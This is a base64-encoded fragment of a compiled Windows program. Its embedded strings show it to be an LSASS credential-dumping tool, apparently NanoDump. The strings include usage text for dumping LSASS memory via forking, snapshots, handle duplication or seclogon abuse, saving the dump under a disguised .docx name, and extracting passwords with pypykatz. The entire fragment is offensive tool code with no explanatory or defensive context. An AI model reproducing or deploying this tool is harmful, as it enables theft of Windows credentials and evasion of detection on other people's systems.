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EEUBAFCRAADRkQAAGEUBAOCRAADjkQAAJEUBAPCRAADokgAAKEUBAPCSAADzkgAAQEUBAACTAABqkwAAREUBAHCTAADSlAAAUEUBAOCUAAAUmAAAXEUBACCYAABhmAAAdEUBAHCYAAB8mAAAfEUBAICYAAA6mgAAgEUBAECaAACrmgAAiEUBALCaAAAomwAAmEUBADCbAAC5mwAApEUBAMCbAACinAAArEUBALCcAADcnAAAtEUBAOCcAAAvnQAAuEUBADCdAADPnQAAvEUBANCdAABIngAAyEUBAFCeAACJngAAzEUBAJCeAAD7ngAA0EUBAACfAAA2nwAA1EUBAECfAADHnwAA2EUBANCfAACOoAAA3EUBANCgAAD3oAAA4EUBAAChAABHoQAA5EUBAFChAABBogAA8EUBAFCiAACnogAA+EUBALCiAAAIpAAAAEYBABCkAABApQAAFEYBAEClAACHpQAAIEYBAJClAAA9pgAALEYBAECmAABxqwAANEYBAICrAAAUrwAATEYBACCvAACAsAAAZEYBAICwAAAitAAAeEYBADC0AAAQtQAAiEYBABC1AACwtQAAlEYBALC1AACQtgAAoEYBAJC2AAAAuAAArEYBAAC4AAA6vAAAuEYBAEC8AABuxwAAzEYBAHDHAACnxwAA5EYBALDHAAAsyAAA7EYBADDIAABMyAAA+EYBAFDIAADGyQAA/EYBANDJAADX4AAAFEcBAODgAADV4QAAMEcBAODhAAAj4gAAQEcBADDiAAAM4wAAREcBABDjAABS4wAAUEcBAGDjAABS5AAAWEcBAGDkAADE5AAAZEcBANDkAAB95QAAbEcBAIDlAAA95gAAfEcBAEDmAACZ5wAAhEcBAKDnAACg6QAAnEcBAKDpAACu6gAAsEcBALDqAAAA6wAAxEcBAADrAADF7AAAyEcBANDsAADo7QAA2EcBAPDtAAD57gAA4EcBAADvAAAq7wAA7EcBADDvAABY7wAA8EcBAGDvAABr7wAA9EcBAHDvAAB77wAA+EcBAIDvAACL7wAA/EcBAJDvAAD37wAAAEgBAADwAABg8AAACEgBAGDwAABo8AAAEEgBAHDwAAB78AAAFEgBAIDwAACf8AAAGEgBAKDwAAAp8QAAIEgBADDxAABx8QAAKEgBAIDxAAB28gAANEgBAIDyAAD98wAASEgBAAD0AABo9AAAVEgBAHD0AAB19QAAZEgBAID1AADa9QAAeEgBAND3AADV9wAAiEgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQQBAARCAAABBAEABGIAAAEPCAAPARMACDAHYAZwBVAEwALQCQQBAARCAADg9QAAAQAAALQUAADHFAAAgJgAAMcUAAAJBAEABEIAAOD1AAABAAAA1BQAAOcUAACAmAAA5xQAAAEEAQAEQgAAAQAAAAEAAAABCAMFCDIEAwFQAAABCAMFCLIEAwFQAAABEQWFEQMJAW0AAnABUAAAAQgDBQjyBAMBUAAAAQgDBQjyBAMBUAAAAQgDBQgyBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQgSBAMBUAAAARAEhRADCAFGAAFQAQgDBQgyBAMBUAAAAREFxREDCQEZAAIwAVAAAAERBbURAwkBFwACMAFQAAABEQWFEQMJAVEAAnABUAAAAREFhREDCQFbAAJwAVAAAAEIAwUIcgQDAVAAAAEIAwUIcgQDAVAAAAEIAwUIcgQDAVAAAAEEAgUEAwFQAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQsEJQsDBkICMAFQAQsERQsDBoICMAFQAQgDBQhSBAMBUAAAAQgDBQjSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQiSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhyBAMBUAAAAQgDBQjSBAMBUAAAAQsENQsDBmICMAFQAQgDBQgSBAMBUAAAAQgDBQhyBAMBUAAAAQsERQsDBoICMAFQAQgDBQhyBAMBUAAAAQsEBQsBFAAEAwFQAQgDBQjyBAMBUAAAAQgDBQiSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQgDBQjSBAMBUAAAAQgDBQiyBAMBUAAAAQgDBQhyBAMBUAAAAQgDBQhyBAMBUAAAARAEhRADCAFyAAFQAQAAAAEIAwUIkgQDAVAAAAEIAwUIEgQDAVAAAAERBeURAwkBHQACMAFQAAABCAMFCFIEAwFQAAABCAMFCFIEAwFQAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQgDBQhSBAMBUAAAAQgDBQhSBAMBUAAAAQsERQsDBoICMAFQAREFhREDCQERAAIwAVAAAAEIAwUIUgQDAVAAAAEIAwUIkgQDAVAAAAEIAwUIUgQDAVAAAAEQBIUQAwgBiAABUAEIAwUIMgQDAVAAAAEIAwUIUgQDAVAAAAEIAwUIUgQD